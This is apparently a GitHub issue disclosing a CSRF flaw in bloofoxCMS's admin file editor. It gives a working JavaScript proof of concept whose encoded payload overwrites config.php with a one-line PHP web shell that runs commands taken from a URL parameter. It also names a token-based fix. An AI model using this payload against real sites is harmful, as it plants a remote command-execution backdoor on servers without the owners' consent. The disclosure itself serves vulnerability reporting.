New issue

Jump to bottom

CSRF Attack that leads to edit any file content (Locally/Remotely) #10

Open **u0pattern** opened this issue on Dec 27, 2020 · 0 comments

u0pattern commented on Dec 27, 2020

I discovered a CSRF Vulnerability in `bloofoxCMS/admin/index.php?mode=settings&page=editor` , the request validation was not there to avoid CSRF Attacks.

PoC :-

```
<script>
var bloofox = new XMLHttpRequest();
bloofox.onreadystatechange = function() {
    if (this.readyState == 4) {
        alert('Done');
    }
};
bloofox.open("POST", "http://localhost/bloofoxCMS/admin/index.php?mode=settings&page=editor", true);
bloofox.withCredentials = true;
bloofox.send('file=%3C%3F%3D%60%24_GET%5B1%5D%60%3B&backlink=&fileurl=config.php&send=Save');
</script>
```

Impact

Change any file content in webserver (Locally/Remotely)

Fix

Synchronizer Token Pattern

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant